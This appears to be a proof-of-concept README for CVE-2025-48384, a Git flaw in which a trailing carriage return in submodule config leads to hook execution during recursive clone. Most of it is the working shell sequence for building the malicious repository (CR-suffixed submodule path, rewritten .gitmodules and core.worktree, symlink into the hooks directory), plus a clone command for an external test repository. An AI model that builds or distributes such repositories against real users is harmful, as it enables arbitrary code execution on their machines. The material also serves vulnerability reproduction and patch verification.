CVE-2025-48384 PoC — Git allows arbitrary code execution through broken config quoting

Title:Git allows arbitrary code execution through broken config quoting (CVE-2025-48384)
Description:Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When reading a config value, Git strips any trailing carriage return and line feed (CRLF). When writing a config entry, values with a trailing CR are not quoted, causing the CR to be lost when the config is later read. When initializing a submodule, if the submodule path contains a trailing CR, the altered path is read resulting in the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory, and the submodule contains an executable post-checkout hook, the script may be unintentionally executed after checkout. This vulnerability is fixed in v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, and v2.50.1.

复现命令行
```
git clone --recursive https://github.com/beishanxueyuan/CVE-2025-48384-test.git
```
修改指向的GitHub仓库
```
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/beishanxueyuan/CVE-2025-48384.git sub
git -C repo mv sub $(printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

cd repo/

git branch -M main
git remote add origin https://github.com/beishanxueyuan/CVE-2025-48384-test.git
```

 [4.0K]  /data/pocs/4f4cd5be3eef944af86fb2fefebc588a8fc7fe61
├── [ 758]  README.md
├── [  22]  sub -> .git/modules/sub/hooks
└── [4.0K]  sub\015

1 directory, 2 files